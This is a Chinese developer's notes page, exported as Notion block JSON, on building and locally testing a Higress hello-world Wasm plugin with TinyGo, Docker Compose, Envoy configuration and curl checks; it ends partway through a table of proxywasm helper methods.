请求头处理阶段:wrapper.ProcessRequestHeadersBy"]]},"format":{"copied_from_pointer":{"id":"ada02a15-d25a-4ad4-a9a5-a1c5ae3dc5cb","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1719316950172,"last_edited_time":1719316957304,"parent_id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","parent_table":"block","alive":true,"copied_from":"ada02a15-d25a-4ad4-a9a5-a1c5ae3dc5cb"}},"389203e1-748c-4377-9a31-1311f28fe047":{"value":{"id":"389203e1-748c-4377-9a31-1311f28fe047","type":"bulleted_list","properties":{"title":[["HTTP 请求 Body 处理阶段:wrapper.ProcessRequestBodyBy"]]},"format":{"copied_from_pointer":{"id":"15d30da0-af55-485b-932e-ace3063e08f9","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1719316950172,"last_edited_time":1719316959826,"parent_id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","parent_table":"block","alive":true,"copied_from":"15d30da0-af55-485b-932e-ace3063e08f9"}},"8f5ac3b5-320e-416a-986e-840c4fc7db64":{"value":{"id":"8f5ac3b5-320e-416a-986e-840c4fc7db64","type":"bulleted_list","properties":{"title":[["HTTP 应答头处理阶段:wrapper.ProcessResponseHeadersBy"]]},"format":{"copied_from_pointer":{"id":"40eb7b89-8a24-4d66-bedd-faf2732d74cc","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1719316950173,"last_edited_time":1719316962726,"parent_id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","parent_table":"block","alive":true,"copied_from":"40eb7b89-8a24-4d66-bedd-faf2732d74cc"}},"200b074c-d78e-4142-ad17-4d3cac853e75":{"value":{"id":"200b074c-d78e-4142-ad17-4d3cac853e75","type":"bulleted_list","properties":{"title":[["HTTP 应答 Body 处理阶段:wrapper.ProcessResponseBodyBy"]]},"format":{"copied_from_pointer":{"id":"f5a6b140-5441-4662-b32f-8112a16eff02","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1719316950173,"last_edited_time":1719316965655,"parent_id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","parent_table":"block","alive":true,"copied_from":"f5a6b140-5441-4662-b32f-8112a16eff02"}},"9dc62774-3cc0-44bc-9d87-9f8c6b063ed6":{"value":{"id":"9dc62774-3cc0-44bc-9d87-9f8c6b063ed6","type":"text","properties":{"title":[["proxywasm工具类",[["b"]]],["可以实现的方法如下"]]},"created_time":1719316789637,"last_edited_time":1719317020130,"parent_id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","parent_table":"block","alive":true}},"8fe04047-c9b1-4ca6-92cf-eb6ef02bc043":{"value":{"id":"8fe04047-c9b1-4ca6-92cf-eb6ef02bc043","type":"bulleted_list","properties":{"title":[["访问这个地方"],["https://go.dev/dl/",[["a","https://go.dev/dl/go1.19.darwin-amd64.pkg"]]],["找安装包"]]},"created_time":1719312574439,"last_edited_time":1719312609596,"parent_id":"ec362c50-ff08-4781-9ce2-ea886c51072a","parent_table":"block","alive":true}},"55fa9c2d-8d40-4a82-b836-3b13a462c2b0":{"value":{"id":"55fa9c2d-8d40-4a82-b836-3b13a462c2b0","type":"bulleted_list","properties":{"title":[["macos下载好的安装文件直接安装,默认会安装到"],["/usr/local/go",[["c"]]],["目录"]]},"created_time":1719312609747,"last_edited_time":1719312617920,"parent_id":"ec362c50-ff08-4781-9ce2-ea886c51072a","parent_table":"block","alive":true}},"f6fd9457-03b2-49d0-ad0c-4077dcdbd3c0":{"value":{"id":"f6fd9457-03b2-49d0-ad0c-4077dcdbd3c0","type":"bulleted_list","properties":{"title":[["官方指引链接:"],["https://tinygo.org/getting-started/install/",[["a","https://tinygo.org/getting-started/install/"]]]]},"created_time":1719312631745,"last_edited_time":1719312638482,"parent_id":"6179e7cb-0d5a-4b57-8913-b0ad6e0e21db","parent_table":"block","alive":true}},"df5c0361-d2a9-4578-8424-8bdae0efd984":{"value":{"id":"df5c0361-d2a9-4578-8424-8bdae0efd984","type":"bulleted_list","properties":{"title":[["macos直接brew install"]]},"content":["53f43f7f-cced-4bd4-beae-f81845de3afa","c2c39f90-21aa-461b-8cdf-e499bd908082","8e0ea3d5-a96b-4582-88ad-84489d7a72c2"],"created_time":1719312641085,"last_edited_time":1719312742275,"parent_id":"6179e7cb-0d5a-4b57-8913-b0ad6e0e21db","parent_table":"block","alive":true}},"33a2b6ec-e6f0-41ff-b2ee-b3a0db3bf232":{"value":{"id":"33a2b6ec-e6f0-41ff-b2ee-b3a0db3bf232","type":"bulleted_list","properties":{"title":[["下载安装"],["https://tinygo.org/getting-started/install/macos/",[["a","https://tinygo.org/getting-started/install/macos/"]]]]},"content":["68a5d9bd-9bbd-4deb-bfc5-fc67a6f4122f","a682e53c-64ec-4077-b341-ab1fe67a5015"],"created_time":1719312738679,"last_edited_time":1719314760061,"parent_id":"6179e7cb-0d5a-4b57-8913-b0ad6e0e21db","parent_table":"block","alive":true}},"53f43f7f-cced-4bd4-beae-f81845de3afa":{"value":{"id":"53f43f7f-cced-4bd4-beae-f81845de3afa","type":"bulleted_list","properties":{"title":[["brew tap tinygo-org/tools"]]},"created_time":1719312660022,"last_edited_time":1719312710977,"parent_id":"df5c0361-d2a9-4578-8424-8bdae0efd984","parent_table":"block","alive":true}},"c2c39f90-21aa-461b-8cdf-e499bd908082":{"value":{"id":"c2c39f90-21aa-461b-8cdf-e499bd908082","type":"bulleted_list","properties":{"title":[["brew install tinygo"]]},"created_time":1719312694603,"last_edited_time":1719312695744,"parent_id":"df5c0361-d2a9-4578-8424-8bdae0efd984","parent_table":"block","alive":true}},"8e0ea3d5-a96b-4582-88ad-84489d7a72c2":{"value":{"id":"8e0ea3d5-a96b-4582-88ad-84489d7a72c2","type":"bulleted_list","properties":{"title":[["报错You are using macOS 15…(刚升级15系统"]]},"created_time":1719312716599,"last_edited_time":1719312735994,"parent_id":"df5c0361-d2a9-4578-8424-8bdae0efd984","parent_table":"block","alive":true}},"68a5d9bd-9bbd-4deb-bfc5-fc67a6f4122f":{"value":{"id":"68a5d9bd-9bbd-4deb-bfc5-fc67a6f4122f","type":"bulleted_list","properties":{"title":[["tar xvzf tinygo0.32.0.darwin-amd64.tar.gz"]]},"created_time":1719312755486,"last_edited_time":1719312762028,"parent_id":"33a2b6ec-e6f0-41ff-b2ee-b3a0db3bf232","parent_table":"block","alive":true}},"a682e53c-64ec-4077-b341-ab1fe67a5015":{"value":{"id":"a682e53c-64ec-4077-b341-ab1fe67a5015","type":"bulleted_list","properties":{"title":[["添加环境变量"]]},"content":["9cce7ca1-5414-4be2-83d0-f3d11103384f","639a0acf-ae68-493f-9724-c7f6ebce1486","434fb37b-626c-4ac9-a3d1-ca3c4cb924f2"],"created_time":1719312799346,"last_edited_time":1719314759879,"parent_id":"33a2b6ec-e6f0-41ff-b2ee-b3a0db3bf232","parent_table":"block","alive":true}},"9cce7ca1-5414-4be2-83d0-f3d11103384f":{"value":{"id":"9cce7ca1-5414-4be2-83d0-f3d11103384f","type":"bulleted_list","properties":{"title":[["vim ~/.bash_profile"]]},"created_time":1719312804981,"last_edited_time":1719312825905,"parent_id":"a682e53c-64ec-4077-b341-ab1fe67a5015","parent_table":"block","alive":true}},"639a0acf-ae68-493f-9724-c7f6ebce1486":{"value":{"id":"639a0acf-ae68-493f-9724-c7f6ebce1486","type":"bulleted_list","properties":{"title":[["添加一行"],["export PATH=/tinygo/bin:$PATH",[["c"]]]]},"created_time":1719312828295,"last_edited_time":1719312834086,"parent_id":"a682e53c-64ec-4077-b341-ab1fe67a5015","parent_table":"block","alive":true}},"434fb37b-626c-4ac9-a3d1-ca3c4cb924f2":{"value":{"id":"434fb37b-626c-4ac9-a3d1-ca3c4cb924f2","type":"bulleted_list","properties":{"title":[["source ~/.bash_profile"]]},"created_time":1719312835631,"last_edited_time":1719314886601,"parent_id":"a682e53c-64ec-4077-b341-ab1fe67a5015","parent_table":"block","alive":true}},"e9c8e8fd-ce49-4fb3-8860-f5792cdf546a":{"value":{"id":"e9c8e8fd-ce49-4fb3-8860-f5792cdf546a","type":"table","content":["8e840eb7-4cf4-400d-8a0d-2db55a5b1cef","26e8f937-90c5-4ca8-8dee-d21f58718462","f9ab257f-f2b9-493c-b7b2-8568fb59b7bf","515d24c7-c61a-44af-a624-54bdbea4f47d","478d18e4-a720-4d68-8042-849d83f02219","caa4f516-28a1-4320-8253-f0c0a93e7f81","8ce68897-09be-49cb-8d59-0e9df9aa95f1","1a15d718-9b53-45c5-9d0b-df6be6c3127d","ca8ad543-1bb2-4743-8a8b-45b971b0f4f3","4b899305-16e2-4f5f-9544-f5f75c8b4083","323928c7-ec4f-465e-9afc-820ca851b5bc","f53e9449-7c09-4e74-a637-804e5a436a1d","92a7af5f-0f71-4aa7-9ab9-d3038358c30f","414b1050-c45e-483d-8ebe-318237750e00","8ce74d54-ce97-451a-a32f-fa6442e4ddd8","a30fd327-09e4-4e0a-9628-9ab2cc68891b","3c9985e7-b4f2-4ca6-986b-b3bd946b0e6d","12211288-ce28-4305-8b94-580758820d61","c596a6c9-b9d6-4bf2-a2a5-142b36bc6eac","5ac7e68c-f626-4213-8877-0616d6542c25","e5721a3b-6acb-4444-aa58-d2da3fd57479","c42062df-ed57-4a3a-800d-6606bbf5fcf4","10ed9f4c-85d6-481d-8606-e9e30b4bede3","1f0201f7-b332-406d-802f-29f37570d9a8","130680ab-6bb3-467c-bcca-31f8d90fb70e","7eedfd2a-7660-44c1-89ca-ad1497eab4bc","9c9a35b1-4b0e-4001-b080-9190012188e1","903b65a9-2753-4234-92cf-0716724c3425"],"format":{"table_block_column_order":["{e@u","wDnI","Lsnm","Xmh_"]},"created_time":1719317043461,"last_edited_time":1719323695913,"parent_id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","parent_table":"block","alive":true}},"a47cf725-afb8-4086-b5f4-b3a98e452b56":{"value":{"id":"a47cf725-afb8-4086-b5f4-b3a98e452b56","type":"header","properties":{"title":[["编译生成"],["WASM文件",[["b"]]]]},"format":{"copied_from_pointer":{"id":"bc90f652-c084-4885-8571-e07c2b2a5073","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1719312275847,"last_edited_time":1719317214352,"parent_id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","parent_table":"block","alive":true,"copied_from":"bc90f652-c084-4885-8571-e07c2b2a5073"}},"1d826e8b-3136-43d3-b7c3-9ca1b2913155":{"value":{"id":"1d826e8b-3136-43d3-b7c3-9ca1b2913155","type":"code","properties":{"title":[["#整理下代码依赖啥的\ngo mod tidy\n#进入插件目录\ncd /higress/plugins/wasm-go/extensions/hello-world\n\n\n#macos打包\n/Users/y/GolandProjects/higress/plugins/wasm-go/extensions/hello-world\ntinygo build -o main.wasm -scheduler=none -target=wasi -gc=custom -tags=\"custommalloc nottinygc_finalizer\" ./\n#提示异常\ngo: unsupported GOOS/GOARCH pair wasip1/wasm\n#升级到go version go1.21.10 darwin/arm64\n#打包提示:/Users/y/go/go1.21.10/src/strings/builder.go:49:23: unsafe.SliceData requires go1.20 or later\n#todo 多方寻求解决无果,结论是无法在macos arm架构下打包\n#todo tinygo只有31版本后才支持darwin,但是插件打包必须是28.1的tinygo\n\n#找了ubuntu打包\n#必须是这个tinygo版本,31版本任然提示go1.21.10\nwget https://github.com/tinygo-org/tinygo/releases/download/v0.28.1/tinygo_0.28.1_amd64.deb\nsudo dpkg -i tinygo_0.28.1_amd64.deb\nwget https://go.dev/dl/go1.19.linux-amd64.tar.gz\ntar -xzf go1.19.linux-amd64.tar.gz\n#找个profile放入下面环境变量source一下\nexport PATH=/home/go/bin:$PATH\n\n#unbuntu初始化工程\nmkdir /home/go_project_4_compile\ncd /home/go_project_4_compile\ngo mod init wasm-demo-go\n#代码复制上去\n#整理依赖\ngo mod tidy\n#再打包\ntinygo build -o main.wasm -scheduler=none -target=wasi -gc=custom -tags=\"custommalloc nottinygc_finalizer\" ./\n#输出main.wasm,下载到本地"]],"language":[["Bash"]]},"discussions":["45873f33-55d6-429d-8c74-409cd1d0d77a"],"created_time":1719317196319,"last_edited_time":1719373343923,"parent_id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","parent_table":"block","alive":true}},"0b7b6440-36a6-4026-a565-2cf653ed11fc":{"value":{"id":"0b7b6440-36a6-4026-a565-2cf653ed11fc","type":"text","created_time":1719373381557,"last_edited_time":1719373381557,"parent_id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","parent_table":"block","alive":true}},"79932955-44b6-4e22-90b0-103286162f5b":{"value":{"id":"79932955-44b6-4e22-90b0-103286162f5b","type":"header","properties":{"title":[["本地调试"]]},"created_time":1719317190869,"last_edited_time":1719373384367,"parent_id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","parent_table":"block","alive":true}},"d03f4354-097c-4033-bf39-a4716640700d":{"value":{"id":"d03f4354-097c-4033-bf39-a4716640700d","type":"text","created_time":1719373658149,"last_edited_time":1719373658149,"parent_id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","parent_table":"block","alive":true}},"01edf406-ee97-4535-9afb-ce22945f647b":{"value":{"id":"01edf406-ee97-4535-9afb-ce22945f647b","type":"code","properties":{"title":[["#创建目录\nmkdir ~/higress-plugin-hello\nvim docker-compose.yaml\nvim envoy.yaml\ndocker compose up"]],"language":[["Bash"]]},"created_time":1719373661896,"last_edited_time":1719376603958,"parent_id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","parent_table":"block","alive":true}},"611f15ea-320f-489c-80ff-28b0d4d688c7":{"value":{"id":"611f15ea-320f-489c-80ff-28b0d4d688c7","type":"text","properties":{"title":[["docker-compose.yaml"]]},"created_time":1719373407944,"last_edited_time":1719376526094,"parent_id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","parent_table":"block","alive":true}},"f91f97cb-8ba2-42d7-9fe4-3cfe90e9ec47":{"value":{"id":"f91f97cb-8ba2-42d7-9fe4-3cfe90e9ec47","type":"code","properties":{"title":[["version: '3.7'\nservices:\n envoy:\n image: higress-registry.cn-hangzhou.cr.aliyuncs.com/higress/gateway:v1.4.0-rc.1\n entrypoint: /usr/local/bin/envoy\n # 注意这里对wasm开启了debug级别日志,正式部署时则默认info级别\n command: -c /etc/envoy/envoy.yaml --component-log-level wasm:debug\n depends_on:\n - httpbin\n networks:\n - wasmtest\n ports:\n - \"10000:10000\"\n volumes:\n - ./envoy.yaml:/etc/envoy/envoy.yaml\n - ./main.wasm:/etc/envoy/main.wasm\n\n httpbin:\n image: kennethreitz/httpbin:latest\n networks:\n - wasmtest\n ports:\n - \"12345:80\"\n\nnetworks:\n wasmtest: {}"]],"language":[["Bash"]]},"created_time":1719373464378,"last_edited_time":1719373464738,"parent_id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","parent_table":"block","alive":true}},"dbc40190-555a-4614-b9a7-0730a884cad5":{"value":{"id":"dbc40190-555a-4614-b9a7-0730a884cad5","type":"text","format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1719373579530,"last_edited_time":1719373579530,"parent_id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","parent_table":"block","alive":true}},"3d338238-9376-4940-ac6d-bdfefc5f5a9a":{"value":{"id":"3d338238-9376-4940-ac6d-bdfefc5f5a9a","type":"code","properties":{"title":[["\nadmin:\n address:\n socket_address:\n protocol: TCP\n address: 0.0.0.0\n port_value: 9901\nstatic_resources:\n listeners:\n - name: listener_0\n address:\n socket_address:\n protocol: TCP\n address: 0.0.0.0\n port_value: 10000\n filter_chains:\n - filters:\n - name: envoy.filters.network.http_connection_manager\n typed_config:\n \"@type\": type.googleapis.com/envoy.extensions.filters.network.http_connection_manager.v3.HttpConnectionManager\n scheme_header_transformation:\n scheme_to_overwrite: https\n stat_prefix: ingress_http\n route_config:\n name: local_route\n virtual_hosts:\n - name: local_service\n domains: [\"*\"]\n routes:\n - match:\n prefix: \"/\"\n route:\n cluster: httpbin\n http_filters:\n - name: wasmdemo\n typed_config:\n \"@type\": type.googleapis.com/udpa.type.v1.TypedStruct\n type_url: type.googleapis.com/envoy.extensions.filters.http.wasm.v3.Wasm\n value:\n config:\n name: wasmdemo\n vm_config:\n runtime: envoy.wasm.runtime.v8\n code:\n local:\n filename: /etc/envoy/main.wasm\n configuration:\n \"@type\": \"type.googleapis.com/google.protobuf.StringValue\"\n value: |\n {\n \"mockEnable\": false\n }\n - name: envoy.filters.http.router\n clusters:\n - name: httpbin\n connect_timeout: 30s\n type: LOGICAL_DNS\n # Comment out the following line to test on v6 networks\n dns_lookup_family: V4_ONLY\n lb_policy: ROUND_ROBIN\n load_assignment:\n cluster_name: httpbin\n endpoints:\n - lb_endpoints:\n - endpoint:\n address:\n socket_address:\n address: httpbin\n port_value: 80"]],"language":[["Bash"]]},"created_time":1719373581401,"last_edited_time":1719373581994,"parent_id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","parent_table":"block","alive":true}},"1908589e-c5cf-4e90-95a8-dd7523c5158a":{"value":{"id":"1908589e-c5cf-4e90-95a8-dd7523c5158a","type":"text","format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1719376607226,"last_edited_time":1719376607226,"parent_id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","parent_table":"block","alive":true}},"d530c363-0f54-4982-9b38-988f76ebef2c":{"value":{"id":"d530c363-0f54-4982-9b38-988f76ebef2c","type":"header","properties":{"title":[["验证"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1719376607327,"last_edited_time":1719377432424,"parent_id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","parent_table":"block","alive":true}},"bf830245-290b-4b07-9d1a-775235868b5d":{"value":{"id":"bf830245-290b-4b07-9d1a-775235868b5d","type":"code","properties":{"title":[["#10000为网关端口\n\n#发送请求\ncurl -X GET -d '{\"args\":{},\"headers\":{\"Accept\":\"*/*\",\"Hello\":\"world\",\"Host\":\"127.0.0.1:10000\",\"Original-Host\":\"127.0.0.1:10000\",\"Req-Start-Time\":\"1681269273896\",\"User-Agent\":\"curl/7.79.1\",\"X-Envoy-Expected-Rq-Timeout-Ms\":\"15000\"},\"origin\":\"172.18.0.3\",\"url\":\"https://127.0.0.1:10000/get\"}' http://127.0.0.1:10000/get \n\n返回\n{\n \"args\": {},\n \"headers\": {\n \"Accept\": \"*/*\",\n \"Content-Length\": \"272\",\n \"Content-Type\": \"application/x-www-form-urlencoded\",\n \"Hello\": \"world\",\n \"Host\": \"127.0.0.1:10000\",\n \"Original-Host\": \"127.0.0.1:10000\",\n \"Req-Start-Time\": \"1719377044522\",\n \"User-Agent\": \"curl/8.7.1\",\n \"X-Envoy-Expected-Rq-Timeout-Ms\": \"15000\"\n },\n \"origin\": \"172.22.0.3\",\n \"url\": \"https://127.0.0.1:10000/get\"\n}\n\n#修改本地的envoy.yaml\n#将mockEnable配置修改为true\n\n#重启下higress容器\ncurl -X GET -d '{\"args\":{},\"headers\":{\"Accept\":\"*/*\",\"Hello\":\"world\",\"Host\":\"127.0.0.1:10000\",\"Original-Host\":\"127.0.0.1:10000\",\"Req-Start-Time\":\"1681269273896\",\"User-Agent\":\"curl/7.79.1\",\"X-Envoy-Expected-Rq-Timeout-Ms\":\"15000\"},\"origin\":\"172.18.0.3\",\"url\":\"https://127.0.0.1:10000/get\"}' http://127.0.0.1:10000/get\n\n返回的\nhello world\n\n#日志也没问题\n[2024-06-26 04:49:29.857][29][info][wasm] [external/envoy/source/extensions/common/wasm/context.cc:1311] wasm log wasmdemo: [hello-world] 开始拦截header\n[2024-06-26 04:49:18.080][29][info][wasm] [external/envoy/source/extensions/common/wasm/context.cc:1311] wasm log: [hello-world] yml配置此时为:{\n \"mockEnable\": true\n }"]],"language":[["Bash"]]},"created_time":1719376612714,"last_edited_time":1719377500218,"parent_id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","parent_table":"block","alive":true}},"1cd1c77c-c2fe-4afa-a0a2-2c252a734cf5":{"value":{"id":"1cd1c77c-c2fe-4afa-a0a2-2c252a734cf5","type":"text","format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1719373579727,"last_edited_time":1719373579727,"parent_id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","parent_table":"block","alive":true}},"cea023d2-91a1-4205-b695-fb28e35df834":{"value":{"id":"cea023d2-91a1-4205-b695-fb28e35df834","type":"header","properties":{"title":[["总结"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1719312275846,"last_edited_time":1719312275846,"parent_id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"1891590b-e5d0-4c25-8e8d-979598230d00":{"value":{"id":"1891590b-e5d0-4c25-8e8d-979598230d00","type":"text","properties":{"title":[["tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm"]]},"format":{"copied_from_pointer":{"id":"329c1926-8152-47e6-ab18-8817f4ee4d09","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1719312275846,"last_edited_time":1719377586016,"parent_id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","parent_table":"block","alive":true,"copied_from":"329c1926-8152-47e6-ab18-8817f4ee4d09"}},"fd761f2b-7d09-4650-b9ac-62a743d94644":{"value":{"id":"fd761f2b-7d09-4650-b9ac-62a743d94644","type":"header","properties":{"title":[["写到最后"]]},"format":{"copied_from_pointer":{"id":"5cde9219-8710-4037-9848-8a1f37dc9ff6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1719312275847,"last_edited_time":1719312275847,"parent_id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","parent_table":"block","alive":true,"copied_from":"5cde9219-8710-4037-9848-8a1f37dc9ff6"}},"9e88f110-586f-4300-a22c-94ca3cbb47f8":{"value":{"id":"9e88f110-586f-4300-a22c-94ca3cbb47f8","type":"column_list","content":["3e09f42e-55bd-49b5-aad3-453b6fead099","ded82798-5351-480c-bd06-d6cf8a72fd6b","8d6546aa-2409-4660-8c08-914516e464ac"],"format":{"copied_from_pointer":{"id":"60dbcaaf-f103-4bb0-9be1-817671709d79","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1719312275847,"last_edited_time":1719312275847,"parent_id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","parent_table":"block","alive":true,"copied_from":"60dbcaaf-f103-4bb0-9be1-817671709d79"}},"4ed6c04b-5538-41b2-8399-509b3a8e104f":{"value":{"id":"4ed6c04b-5538-41b2-8399-509b3a8e104f","type":"text","format":{"copied_from_pointer":{"id":"d23c967c-579a-4a00-81be-5b5255a47a8a","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1719312275847,"last_edited_time":1719312275847,"parent_id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","parent_table":"block","alive":true,"copied_from":"d23c967c-579a-4a00-81be-5b5255a47a8a"}},"8e840eb7-4cf4-400d-8a0d-2db55a5b1cef":{"value":{"id":"8e840eb7-4cf4-400d-8a0d-2db55a5b1cef","type":"table_row","properties":{"Lsnm":[["用途"]],"Xmh_":[["可以生效的HTTP 处理阶段"]],"wDnI":[["方法名称"]],"{e@u":[["分类"]]},"created_time":1719317043461,"last_edited_time":1719317043465,"parent_id":"e9c8e8fd-ce49-4fb3-8860-f5792cdf546a","parent_table":"block","alive":true}},"26e8f937-90c5-4ca8-8dee-d21f58718462":{"value":{"id":"26e8f937-90c5-4ca8-8dee-d21f58718462","type":"table_row","properties":{"Lsnm":[["获取客户端请求的全部请求头"]],"Xmh_":[["HTTP 请求头处理阶段"]],"wDnI":[["GetHttpRequestHeaders"]],"{e@u":[["请求头处理"]]},"created_time":1719317043461,"last_edited_time":1719317043465,"parent_id":"e9c8e8fd-ce49-4fb3-8860-f5792cdf546a","parent_table":"block","alive":true}},"f9ab257f-f2b9-493c-b7b2-8568fb59b7bf":{"value":{"id":"f9ab257f-f2b9-493c-b7b2-8568fb59b7bf","type":"table_row","properties":{"Lsnm":[["替换客户端请求的全部请求头"]],"Xmh_":[["HTTP 请求头处理阶段"]],"wDnI":[["ReplaceHttpRequestHeaders"]]},"created_time":1719317043461,"last_edited_time":1719317043465,"parent_id":"e9c8e8fd-ce49-4fb3-8860-f5792cdf546a","parent_table":"block","alive":true}},"515d24c7-c61a-44af-a624-54bdbea4f47d":{"value":{"id":"515d24c7-c61a-44af-a624-54bdbea4f47d","type":"table_row","properties":{"Lsnm":[["获取客户端请求的指定请求头"]],"Xmh_":[["HTTP 请求头处理阶段"]],"wDnI":[["GetHttpRequestHeader"]]},"created_time":1719317043461,"last_edited_time":1719317043465,"parent_id":"e9c8e8fd-ce49-4fb3-8860-f5792cdf546a","parent_table":"block","alive":true}},"478d18e4-a720-4d68-8042-849d83f02219":{"value":{"id":"478d18e4-a720-4d68-8042-849d83f02219","type":"table_row","properties":{"Lsnm":[["移除客户端请求的指定请求头"]],"Xmh_":[["HTTP 请求头处理阶段"]],"wDnI":[["RemoveHttpRequestHeader"]]},"created_time":1719317043461,"last_edited_time":1719317043465,"parent_id":"e9c8e8fd-ce49-4fb3-8860-f5792cdf546a","parent_table":"block","alive":true}},"caa4f516-28a1-4320-8253-f0c0a93e7f81":{"value":{"id":"caa4f516-28a1-4320-8253-f0c0a93e7f81","type":"table_row","properties":{"Lsnm":[["替换客户端请求的指定请求头"]],"Xmh_":[["HTTP 请求头处理阶段"]],"wDnI":[["ReplaceHttpRequestHeader"]]},"created_time":1719317043461,"last_edited_time":1719317043465,"parent_id":"e9c8e8fd-ce49-4fb3-8860-f5792cdf546a","parent_table":"block","alive":true}},"8ce68897-09be-49cb-8d59-0e9df9aa95f1":{"value":{"id":"8ce68897-09be-49cb-8d59-0e9df9aa95f1","type":"table_row","properties":{"Lsnm":[["新增一个客户端请求头"]],"Xmh_":[["HTTP 请求头处理阶段"]],"wDnI":[["AddHttpRequestHeader"]]},"created_time":1719317043461,"last_edited_time":1719317043465,"parent_id":"e9c8e8fd-ce49-4fb3-8860-f5792cdf546a","parent_table":"block","alive":true}},"1a15d718-9b53-45c5-9d0b-df6be6c3127d":{"value":{"id":"1a15d718-9b53-45c5-9d0b-df6be6c3127d","type":"table_row","properties":{"Lsnm":[["获取客户端请求 Body"]],"Xmh_":[["HTTP 请求 Body 处理阶段"]],"wDnI":[["GetHttpRequestBody"]],"{e@u":[["请求 Body 处理"]]},"created_time":1719317043461,"last_edited_time":1719317043465,"parent_id":"e9c8e8fd-ce49-4fb3-8860-f5792cdf546a","parent_table":"block","alive":true}},"ca8ad543-1bb2-4743-8a8b-45b971b0f4f3":{"value":{"id":"ca8ad543-1bb2-4743-8a8b-45b971b0f4f3","type":"table_row","properties":{"Lsnm":[["将指定的字节串附加到客户端请求 Body 末尾"]],"Xmh_":[["HTTP 请求 Body 处理阶段"]],"wDnI":[["AppendHttpRequestBody"]]},"created_time":1719317043461,"last_edited_time":1719317043465,"parent_id":"e9c8e8fd-ce49-4fb3-8860-f5792cdf546a","parent_table":"block","alive":true}},"4b899305-16e2-4f5f-9544-f5f75c8b4083":{"value":{"id":"4b899305-16e2-4f5f-9544-f5f75c8b4083","type":"table_row","properties":{"Lsnm":[["将指定的字节串附加到客户端请求 Body 的开头"]],"Xmh_":[["HTTP 请求 Body 处理阶段"]],"wDnI":[["PrependHttpRequestBody"]]},"created_time":1719317043461,"last_edited_time":1719317043465,"parent_id":"e9c8e8fd-ce49-4fb3-8860-f5792cdf546a","parent_table":"block","alive":true}},"323928c7-ec4f-465e-9afc-820ca851b5bc":{"value":{"id":"323928c7-ec4f-465e-9afc-820ca851b5bc","type":"table_row","properties":{"Lsnm":[["替换客户端请求 Body"]],"Xmh_":[["HTTP 请求 Body 处理阶段"]],"wDnI":[["ReplaceHttpRequestBody"]]},"created_time":1719317043461,"last_edited_time":1719317043465,"parent_id":"e9c8e8fd-ce49-4fb3-8860-f5792cdf546a","parent_table":"block","alive":true}},"f53e9449-7c09-4e74-a637-804e5a436a1d":{"value":{"id":"f53e9449-7c09-4e74-a637-804e5a436a1d","type":"table_row","properties":{"Lsnm":[["获取后端响应的全部应答头"]],"Xmh_":[["HTTP 应答头处理阶段"]],"wDnI":[["GetHttpResponseHeaders"]],"{e@u":[["应答头处理"]]},"created_time":1719317043461,"last_edited_time":1719317043465,"parent_id":"e9c8e8fd-ce49-4fb3-8860-f5792cdf546a","parent_table":"block","alive":true}},"92a7af5f-0f71-4aa7-9ab9-d3038358c30f":{"value":{"id":"92a7af5f-0f71-4aa7-9ab9-d3038358c30f","type":"table_row","properties":{"Lsnm":[["替换后端响应的全部应答头"]],"Xmh_":[["HTTP 